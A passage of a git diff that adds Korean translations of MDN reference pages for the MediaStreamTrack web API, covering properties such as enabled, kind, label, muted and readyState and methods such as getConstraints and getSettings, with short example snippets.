+  myAudioTrack.enabled = newState;
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Media Capture', '#dom-mediastreamtrack-enabled', 'enabled') }}</td>
+   <td>{{ Spec2('Media Capture') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.MediaStreamTrack.enabled")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Media_Streams_API">MediaStream API</a></li>
+ <li>{{domxref("MediaStream")}}</li>
+ <li>{{domxref("MediaStreamTrack")}}</li>
+ <li><a href="/ko/docs/Web/API/WebRTC_API">WebRTC</a></li>
+</ul>
diff --git a/files/ko/web/api/mediastreamtrack/getcapabilities/index.html b/files/ko/web/api/mediastreamtrack/getcapabilities/index.html
new file mode 100644
index 0000000000..7d950a96c4
--- /dev/null
+++ b/files/ko/web/api/mediastreamtrack/getcapabilities/index.html
@@ -0,0 +1,48 @@
+---
+title: MediaStreamTrack.getCapabilities()
+slug: Web/API/MediaStreamTrack/getCapabilities
+tags:
+  - API
+  - Media Capture and Streams API
+  - Media Streams API
+  - MediaStreamTrack
+  - Method
+  - Reference
+translation_of: Web/API/MediaStreamTrack/getCapabilities
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><span class="seoSummary">{{domxref("MediaStreamTrack")}} 인터페이스의 <strong><code>getCapabilities()</code></strong> 메서드는 {{glossary("user agent", "사용자 에이전트")}}가 지원하는 각각의 제약 조건에 적용할 수 있는 값이나 값의 범위를 나타내는 {{domxref('MediaTrackCapabilities')}} 객체를 반환합니다.</span></p>
+
+<p>브라우저의 기능 범위를 알아낸 후에는 스크립트에서 {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}}를 사용해 트랙의 설정을 이상적인 값으로, 또는 적어도 원하는 범위 안으로 설정할 수 있습니다. <a href="/ko/docs/Web/API/Media_Streams_API/Constraints">기능, 제약, 설정</a> 문서에서 제약 속성 사용법에 대해 자세히 알아보세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>capabilities</em> = <em>track</em>.getCapabilities()</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>사용자 에이전트가 지원하는 제약 속성 각각의 가능한 값 또는 값의 범위를 나타내는 {{domxref('MediaTrackCapabilities')}} 객체.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#dom-mediastreamtrack-getcapabilities', 'getCapabilities()')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.MediaStreamTrack.getCapabilities")}}</p>
diff --git a/files/ko/web/api/mediastreamtrack/getconstraints/index.html b/files/ko/web/api/mediastreamtrack/getconstraints/index.html
new file mode 100644
index 0000000000..b0ad272813
--- /dev/null
+++ b/files/ko/web/api/mediastreamtrack/getconstraints/index.html
@@ -0,0 +1,62 @@
+---
+title: MediaStreamTrack.getConstraints()
+slug: Web/API/MediaStreamTrack/getConstraints
+tags:
+  - API
+  - Media Capture and Streams API
+  - Media Streams API
+  - MediaStreamTrack
+  - Method
+  - Reference
+translation_of: Web/API/MediaStreamTrack/getConstraints
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><span class="seoSummary">{{domxref("MediaStreamTrack")}} 인터페이스의 <strong><code>getConstraints()</code></strong> 메서드는 현재 트랙에서 마지막으로 호출한 {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}} 메서드로 설정한 제약을 포함한 객체를 반환합니다. 반환한 제약 값은 웹 사이트나 애플리케이션이 제약 속성에 지정한 특정 값 또는 값의 범위 조건을 나타냅니다.</span></p>
+
+<p>제약을 통해 미디어를 여러분의 선호 가이드라인에 맞출 수 있습니다. 예를 들면 고해상도 비디오를 선호하되 네트워크 사용량 폭증을 막기 위해 다소 낮은 프레임 레이트를 요구할 수 있습니다. 또한 이상적인 크기나, 허용 가능한 크기의 범위를 지정할 수도 있습니다. <a href="/ko/docs/Web/API/Media_Streams_API/Constraints">기능, 제약, 설정</a> 문서의 <a href="/ko/docs/Web/API/Media_Streams_API/Constraints#Applying_constraints">제약 적용</a> 항목에서 원하는 제약을 적용하는 방법에 대해 더 알아보세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>constraints</em> = <em>track</em>.getConstraints()</pre>
+
+<h3 id="반환_값"><span style="font-size: 1.714rem; letter-spacing: -0.021em; line-height: 1;">반환 값</span></h3>
+
+<p>가장 최근에 웹 사이트 또는 애플리케이션에서 {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}} 호출로 지정한 제약 속성을 나타내는 {{domxref("MediaTrackConstraints")}} 객체. 지정할 때 사용한 속성 순서를 동일하게 반환하며, 웹 사이트 또는 애플리케이션에서 지정하지 않은 속성은 포함하지 않습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 반환한 제약 집합이 반드시 미디어의 실제 상태를 나타내는 것은 아닙니다. 사이트 코드에서 지정한 어떤 제약 조건을 만족할 수 없는 상황에서도, 해당 속성을 반환 값에 포함합니다. 따라서 반환 값이 반드시 미디어의 실제 상태를 나타내는 것은 아닙니다. 모든 제약 속성에 현재 활성화된 값이 필요한 경우 {{domxref("MediaStreamTrack.getSettings", "getSettings()")}} 메서드를 사용하세요.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 트랙의 현재 제약을 가져와서 {{domxref("MediaTrackConstraints.facingMode", "facingMode")}}를 설정한 후, 새로운 제약을 트랙에 적용합니다.</p>
+
+<pre class="brush: js">function switchCameras(track, camera) {
+  const constraints = track.getConstraints();
+  constraints.facingMode = camera;
+  track.applyConstraints(constraints);
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#dom-mediastreamtrack-getconstraints', 'getConstraints()')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.MediaStreamTrack.getConstraints")}}</p>
diff --git a/files/ko/web/api/mediastreamtrack/getsettings/index.html b/files/ko/web/api/mediastreamtrack/getsettings/index.html
new file mode 100644
index 0000000000..32df925e2e
--- /dev/null
+++ b/files/ko/web/api/mediastreamtrack/getsettings/index.html
@@ -0,0 +1,49 @@
+---
+title: MediaStreamTrack.getSettings()
+slug: Web/API/MediaStreamTrack/getSettings
+tags:
+  - API
+  - Media Capture and Streams
+  - MediaStreamTrack
+  - Method
+  - Reference
+translation_of: Web/API/MediaStreamTrack/getSettings
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><span class="seoSummary">{{domxref("MediaStreamTrack")}} 인터페이스의 <strong><code>getSettings()</code></strong> 메서드는 트랙의 각 제약 속성에 지금 적용된 값을 담은 {{domxref("MediaTrackSettings")}} 객체를 반환합니다.</span> <a href="/ko/docs/Web/API/Media_Streams_API/Constraints">기능, 제약, 설정</a> 문서에서 제약 속성 사용법에 대해 자세히 알아보세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>settings</em> = <em>track</em>.getSettings()</pre>
+
+<h3 id="반환_값"><span style="font-size: 1.714rem; letter-spacing: -0.021em; line-height: 1;">반환 값</span></h3>
+
+<p>트랙의 현재 제약 속성 설정을 설명하는 {{domxref("MediaTrackSettings")}} 객체.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 반환하는 객체는 모든 제약 속성을 포함하며, 사이트 코드에서 수정하지 않은 플랫폼 기본값 역시 들어있습니다. 사이트 코드에서 제일 최근에 적용한 제약 속성만 필요한 경우, {{domxref("MediaStreamTrack.getConstraints", "getConstraints()")}} 메서드를 사용하세요.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#dom-mediastreamtrack-getsettings', 'getSettings()')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.MediaStreamTrack.getSettings")}}</p>
diff --git a/files/ko/web/api/mediastreamtrack/id/index.html b/files/ko/web/api/mediastreamtrack/id/index.html
new file mode 100644
index 0000000000..ee7a4ebe30
--- /dev/null
+++ b/files/ko/web/api/mediastreamtrack/id/index.html
@@ -0,0 +1,50 @@
+---
+title: MediaStreamTrack.id
+slug: Web/API/MediaStreamTrack/id
+tags:
+  - Media Capture and Streams
+  - MediaStreamTrack
+  - Property
+  - Read-only
+  - Reference
+  - WebRTC
+translation_of: Web/API/MediaStreamTrack/id
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><code><strong>MediaStreamTrack.id</strong></code> 읽기 전용 속성은 {{glossary("user agent", "사용자 에이전트")}}가 생성하는, 트랙의 전역 고유 식별자(GUID)를 담은 {{domxref("DOMString")}}을 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>id</em> = <em>track</em>.id</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Media Capture', '#dom-mediastreamtrack-id', 'MediaStreamTrack.id') }}</td>
+   <td>{{ Spec2('Media Capture') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.MediaStreamTrack.id")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/WebRTC_API">WebRTC</a></li>
+</ul>
diff --git a/files/ko/web/api/mediastreamtrack/index.html b/files/ko/web/api/mediastreamtrack/index.html
new file mode 100644
index 0000000000..1b5fd8b18a
--- /dev/null
+++ b/files/ko/web/api/mediastreamtrack/index.html
@@ -0,0 +1,135 @@
+---
+title: MediaStreamTrack
+slug: Web/API/MediaStreamTrack
+tags:
+  - API
+  - Interface
+  - Media
+  - Media Capture and Streams API
+  - Media Streams API
+  - MediaStreamTrack
+  - Reference
+  - WebRTC
+translation_of: Web/API/MediaStreamTrack
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><span class="seoSummary"><strong><code>MediaStreamTrack</code></strong> 인터페이스는 스트림 내의 단일 미디어 트랙을 나타냅니다. 보통 오디오와 비디오 트랙이지만, 다른 종류도 존재할 수 있습니다.</span></p>
+
+<h2 id="속성">속성</h2>
+
+<p><code>MediaStreamTrack</code>은 다음에 나열된 속성 외에도 {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}}로 설정하고 {{domxref("MediaStreamTrack.getConstraints", "getConstraints()")}}와 {{domxref("MediaStreamTrack.getSettings", "getSettings()")}}로 접근 가능한 제약 속성을 가집니다. <a href="/ko/docs/Web/API/Media_Streams_API/Constraints">기능, 제약, 설정</a> 문서를 방문해 제약 속성을 다루는 법을 알아보세요. 올바르게 다루지 않으면 불안정한 코드를 낳을 수 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("MediaStreamTrack.contentHint")}}</dt>
+ <dd>트랙 유형에 대한 힌트를 제공하는 문자열입니다. 웹 애플리케이션이 트랙의 처리 방식을 결정할 때 사용할 수 있습니다.</dd>
+ <dt>{{domxref("MediaStreamTrack.enabled")}}</dt>
+ <dd>트랙을 활성화, 즉 미디어 출처 스트림의 렌더링을 허용하면 <code>true</code>이고 비활성화, 즉 미디어 소스 스트림 렌더링을 허용하지 않아 검은 화면과 조용함만 확인할 수 있으면 <code>false</code>인 속성입니다. 트랙의 연결이 끊긴 경우에도 값을 바꿀 수는 있으나 아무런 효과도 없습니다.
+ <div class="note"><strong>참고:</strong> 일반적인 "음소거" 기능은 <code>enabled</code>를 <code>false</code>로 바꿔서 구현할 수 있습니다. <code>muted</code> 속성은 기술적인 문제로 인해 미디어가 존재하지 않을 때를 나타냅니다.</div>
+ </dd>
+ <dt>{{domxref("MediaStreamTrack.id")}} {{readonlyInline}}</dt>
+ <dd>트랙의 고유 식별자(GUID)를 담은 {{domxref("DOMString")}}을 반환합니다. 고유 식별자는 브라우저가 생성합니다.</dd>
+ <dt>{{domxref("MediaStreamTrack.isolated")}} {{ReadOnlyInline}}</dt>
+ <dd>트랙이 <strong>고립</strong>된 경우 <code>true</code>인 속성입니다. 고립 상태란 해당 <code>MediaStreamTrack</code>을 소유한 문서에서 트랙에 접근할 수 없을 때를 의미합니다. {{domxref("MediaStreamTrack.peerIdentity", "peerIdentity")}} 속성이 설정된 경우, 그리고 트랙의 소스가 교차 출처에 위치하는 경우 발생합니다.</dd>
+ <dt>{{domxref("MediaStreamTrack.kind")}} {{readonlyInline}}</dt>
+ <dd>오디오 트랙인 경우 <code>"audio"</code>, 비디오 트랙인 경우 <code>"video"</code>인 {{domxref("DOMString")}}을 반환합니다. 트랙이 소스에서 분리된 경우 변하지 않습니다.</dd>
+ <dt>{{domxref("MediaStreamTrack.label")}} {{readonlyInline}}</dt>
+ <dd>트랙 소스에 대해 사용자 에이전트가 할당한 식별자를 담은 {{domxref("DOMString")}}을 반환합니다. 식별자의 예시는 <code>"internal microphone"</code>입니다. 빈 문자열일 수 있으며, 연결된 소스가 없는 경우 계속 빈 문자열로 남아 있습니다.  트랙이 소스에서 분리되더라도 식별자는 변하지 않습니다.</dd>
+ <dt>{{domxref("MediaStreamTrack.muted")}} {{readonlyInline}}</dt>
+ <dd>기술적인 문제로 인해 트랙이 미디어 데이터를 제공할 수 없음을 나타내는 불리언 값을 반환합니다.
+ <div class="note"><strong>참고:</strong> 일반적인 "음소거" 기능은 <code>enabled</code>를 <code>false</code>로 바꿔서 구현할 수 있으며, 음소거 해제는 <code>enabled</code>를 다시 <code>true</code>로 바꾸면 됩니다.</div>
+ </dd>
+ <dt>{{domxref("MediaStreamTrack.readonly")}} {{readonlyInline}}</dt>
+ <dd>읽기 전용 트랙(비디오 파일 소스, 설정을 바꿀 수 없는 카메라 등)인 경우 <code>true</code>를 반환합니다. 그 외의 경우 <code>false</code>를 반환합니다.</dd>
+ <dt>{{domxref("MediaStreamTrack.readyState")}} {{readonlyInline}}</dt>
+ <dd>트랙의 상태를 나타내는 열거형 값을 반환합니다. 가능한 값은 다음과 같습니다.
+ <ul>
+  <li><code>"live"</code>는 입력이 연결됐으며 실시간 데이터를 제공하고 있음을 나타냅니다. 이때, {{domxref("MediaStreamTrack.enabled", "enabled")}} 특성을 사용해 데이터 출력을 켜거나 끌 수 있습니다.</li>
+  <li><code>"ended"</code>는 입력이 더 이상 데이터를 전달하지 않고 있으며, 앞으로도 새로운 데이터를 제공하지 않을 것임을 나타냅니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<dl class="hidden">
+ <dt>{{domxref("MediaStreamTrack.remote")}} {{readonlyInline}} {{deprecated_inline}}</dt>
+ <dd>Returns a Boolean with a value of <code>true</code> if the track is sourced by a {{domxref("RTCPeerConnection")}}, <code>false</code> otherwise.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{domxref("MediaStreamTrack.applyConstraints()")}}</dt>
+ <dd>애플리케이션이 <code>MediaStreamTrack</code>에 사용 가능한 제약 속성을 원하는 값과 범위로 지정할 수 있는 메서드입니다.</dd>
+ <dt>{{domxref("MediaStreamTrack.clone()")}}</dt>
+ <dd><code>MediaStreamTrack</code>의 복제본을 반환합니다.</dd>
+ <dt>{{domxref("MediaStreamTrack.getCapabilities()")}}</dt>
+ <dd><code>MediaStreamTrack</code>에 사용 가능한 제약 속성을 반환합니다.</dd>
+ <dt>{{domxref("MediaStreamTrack.getConstraints()")}}</dt>
+ <dd><code>MediaStreamTrack</code>에 현재 지정된 제약을 담은 {{domxref('MediaTrackConstraints')}} 객체를 반환합니다. 이전에 {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}}로 설정한 값과 동일합니다.</dd>
+ <dt>{{domxref("MediaStreamTrack.getSettings()")}}</dt>
+ <dd><code>MediaStreamTrack</code>에 현재 지정된 제약 속성 각각의 값을 담은 {{domxref("MediaTrackSettings")}} 객체를 반환합니다.</dd>
+ <dt>{{domxref("MediaStreamTrack.stop()")}}</dt>
+ <dd>트랙에 연결된 소스의 재생을 중단하고, 서로 분리합니다. 트랙의 상태는 <code>ended</code>로 변경합니다.</dd>
+</dl>
+
+<h2 id="이벤트">이벤트</h2>
+
+<p>다음 이벤트는 <code>MediaStreamTrack</code>의 {{domxref("EventTarget.addEventListener", "addEventListener()")}}를 사용하거나 <code>on<em>eventname</em></code> 속성을 사용해 수신할 수 있습니다.</p>
+
+<dl>
+ <dt><code><a href="/ko/docs/Web/API/MediaStreamTrack/ended_event">ended</a></code></dt>
+ <dd>트랙의 플레이백이 끝났을 때, 즉 {{domxref("MediaStreamTrack.readyState", "readyState")}}의 값이 <code>ended</code>로 변했을 때 발생합니다.<br>
+ <code><a href="/ko/docs/Web/API/MediaStreamTrack/onended">onended</a></code> 이벤트 처리기 속성으로도 수신할 수 있습니다.</dd>
+ <dt><code><a href="/ko/docs/Web/API/MediaStreamTrack/mute_event">mute</a></code></dt>
+ <dd>기술적인 이유(네트워크 문제 등)로 인해 일시적으로 트랙이 데이터를 제공하지 못할 때, 즉 {{domxref("MediaStreamTrack.muted", "muted")}}의 값이 <code>true</code>로 변했을 때 발생합니다.<br>
+ <code><a href="/ko/docs/Web/API/MediaStreamTrack/onmute">onmute</a></code> 이벤트 처리기 속성으로도 수신할 수 있습니다.</dd>
+ <dt><code><a href="/ko/docs/Web/API/MediaStreamTrack/isolationchange_event">isolationchange</a></code></dt>
+ <dd>문서가 트랙에 대한 접근 권한을 얻거나 잃었을 때, 즉 {{domxref("MediaStreamTrack.isolated", "isolated")}}의 값이 변할 때 발생합니다.<br>
+ <code><a href="/ko/docs/Web/API/MediaStreamTrack/onisolationchange">onisolationchange</a></code> 이벤트 처리기 속성으로도 수신할 수 있습니다.</dd>
+ <dt><code><a href="/ko/docs/Web/API/MediaStreamTrack/unmute_event">unmute</a></code></dt>
+ <dd>데이터를 다시 사용할 수 있어서 <code>muted</code> 상태가 끝날 때 발생합니다.<br>
+ <code><a href="/ko/docs/Web/API/MediaStreamTrack/onunmute">onunmute</a></code> 이벤트 처리기 속성으로도 수신할 수 있습니다.</dd>
+</dl>
+
+<dl class="hidden">
+ <dt><code><a href="/ko/docs/Web/API/MediaStreamTrack/overconstrained_event">overconstrained</a></code> {{deprecated_inline}}</dt>
+ <dd>지정한 제약이 트랙과 호환되지 않아서 해당 제약을 무시할 때 발생합니다.<br>
+ <code><a href="/ko/docs/Web/API/MediaStreamTrack/onoverconstrained">onoverconstrained</a></code> 이벤트 처리기 속성으로도 수신할 수 있습니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#mediastreamtrack', 'MediaStreamTrack')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Initial definition</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("WebRTC Identity", "#isolated-track", "Isolated tracks")}}</td>
+   <td>{{Spec2("WebRTC Identity")}}</td>
+   <td>Additional properties for isolated track support</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.MediaStreamTrack")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a></li>
+ <li>{{domxref("MediaStream")}}</li>
+</ul>
diff --git a/files/ko/web/api/mediastreamtrack/kind/index.html b/files/ko/web/api/mediastreamtrack/kind/index.html
new file mode 100644
index 0000000000..752ab567bd
--- /dev/null
+++ b/files/ko/web/api/mediastreamtrack/kind/index.html
@@ -0,0 +1,59 @@
+---
+title: MediaStreamTrack.kind
+slug: Web/API/MediaStreamTrack/kind
+tags:
+  - Media Capture and Streams
+  - MediaStreamTrack
+  - Property
+  - Read-only
+  - Reference
+  - WebRTC
+translation_of: Web/API/MediaStreamTrack/kind
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><span class="seoSummary"><code><strong>MediaStreamTrack.kind</strong></code> 읽기 전용 속성은 트랙이 오디오인 경우 <code>"audio"</code>, 비디오인 경우 <code>"video"</code>인  {{domxref("DOMString")}}을 반환합니다.</span> 트랙이 소스에서 분리된 경우엔 바뀌지 않습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>type</em> = <em>track</em>.kind</pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("DOMString")}}. 가능한 값은 다음과 같습니다.</p>
+
+<ul>
+ <li><code>"audio"</code>: 트랙이 오디오 트랙입니다.</li>
+ <li><code>"video"</code>: 트랙이 비디오 트랙입니다.</li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Media Capture', '#dom-mediastreamtrack-kind', 'MediaStreamTrack.kind') }}</td>
+   <td>{{ Spec2('Media Capture') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.MediaStreamTrack.kind")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a></li>
+</ul>
diff --git a/files/ko/web/api/mediastreamtrack/label/index.html b/files/ko/web/api/mediastreamtrack/label/index.html
new file mode 100644
index 0000000000..0c2d615e2a
--- /dev/null
+++ b/files/ko/web/api/mediastreamtrack/label/index.html
@@ -0,0 +1,54 @@
+---
+title: MediaStreamTrack.label
+slug: Web/API/MediaStreamTrack/label
+tags:
+  - Media Capture and Streams
+  - MediaStreamTrack
+  - Property
+  - Read-only
+  - Reference
+  - WebRTC
+translation_of: Web/API/MediaStreamTrack/label
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><span class="seoSummary"><code><strong>MediaStreamTrack.label</strong></code> 읽기 전용 속성은 {{glossary("user agent", "사용자 에이전트")}}가 트랙 소스를 식별하기 위해 지정한 레이블을 담은 {{domxref("DOMString")}}을 반환합니다.</span> 소스가 연결되지 않은 경우 빈 문자열이며, 연결됐던 트랙이 소스에서 분리되더라도 레이블은 바뀌지 않습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>label</em> = <em>track</em>.label</pre>
+
+<h3 id="값">값</h3>
+
+<p>사용자 에이전트가 지정한 식별 레이블. <code>"internal microphone"</code> 등의 형태입니다.</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Media Capture', '#dom-mediastreamtrack-label', 'MediaStreamTrack.label') }}</td>
+   <td>{{ Spec2('Media Capture') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.MediaStreamTrack.label")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+</ul>
diff --git a/files/ko/web/api/mediastreamtrack/muted/index.html b/files/ko/web/api/mediastreamtrack/muted/index.html
new file mode 100644
index 0000000000..c212d7b424
--- /dev/null
+++ b/files/ko/web/api/mediastreamtrack/muted/index.html
@@ -0,0 +1,67 @@
+---
+title: MediaStreamTrack.muted
+slug: Web/API/MediaStreamTrack/muted
+tags:
+  - API
+  - Media
+  - Media Capture and Streams
+  - MediaStreamTrack
+  - Property
+  - Read-only
+  - Reference
+translation_of: Web/API/MediaStreamTrack/muted
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p>{{domxref("MediaStreamTrack")}} 인터페이스의 <strong><code>muted</code></strong> 읽기 전용 속성은 트랙이 현재 미디어 출력을 제공할 수 없는 상태인지를 나타내는 {{jsxref("Boolean")}}을 반환합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 사용자가 트랙을 음소거할 수 있는 기능을 구현하려면 {{domxref("MediaStreamTrack.enabled", "enabled")}} 속성을 사용하세요. <code>enabled</code>를 <code>false</code>로 바꿔 트랙을 비활성하면 빈 프레임(모든 샘플이 0인 오디오 프레임, 모든 픽셀이 검은색인 비디오 프레임)만 생성합니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>mutedFlag</em> = <em>track.</em>muted</pre>
+
+<h3 id="값">값</h3>
+
+<p>트랙이 중단된 상태면 <code>true</code>, 아니면 <code>false</code>.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 되도록이면 트랙의 중단 상태를 알기 위해 <code>muted</code>를 폴링 하는 것보다는 {{event("mute")}}와 {{event("unmute")}} 이벤트를 수신하세요.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제 코드는 {{domxref("MediaStreamTrack")}} 배열에서 중단된 트랙의 수를 셉니다.</p>
+
+<pre class="brush: js">let mutedCount = 0;
+
+trackList.forEach((track) =&gt; {
+  if (track.muted) {
+    mutedCount += 1;
+  }
+});</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#dom-mediastreamtrack-muted', 'muted')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.MediaStreamTrack.muted")}}</p>
diff --git a/files/ko/web/api/mediastreamtrack/readystate/index.html b/files/ko/web/api/mediastreamtrack/readystate/index.html
new file mode 100644
index 0000000000..97a6b5262d
--- /dev/null
+++ b/files/ko/web/api/mediastreamtrack/readystate/index.html
@@ -0,0 +1,60 @@
+---
+title: MediaStreamTrack.readyState
+slug: Web/API/MediaStreamTrack/readyState
+tags:
+  - API
+  - Media Capture and Streams
+  - MediaStreamTrack
+  - Property
+  - Read-only
+  - Reference
+translation_of: Web/API/MediaStreamTrack/readyState
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><code><strong>MediaStreamTrack.readyState</strong></code> 읽기 전용 속성은 트랙의 상태를 나타내는 열거형 값을 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>state</em> = <em>track</em>.readyState</pre>
+
+<h3 id="값">값</h3>
+
+<p>다음의 두 값 중 하나입니다.</p>
+
+<ul>
+ <li><code>"live"</code>는 입력이 연결됐으며 트랙이 실시간 데이터를 받는 중임을 나타냅니다. 이 때, 데이터 출력은 {{domxref("MediaStreamTrack.enabled")}} 속성을 사용해 켜거나 끌 수 있습니다.</li>
+ <li><code>"ended"</code>는 입력이 더 이상 데이터를 제공하지 않으며 앞으로도 새로운 데이터를 제공하지 않을 것임을 나타냅니다.</li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Media Capture', '#dom-mediastreamtrack-readystate', 'MediaStreamTrack.readyState') }}</td>
+   <td>{{ Spec2('Media Capture') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.MediaStreamTrack.readyState")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/WebRTC_API">WebRTC</a></li>
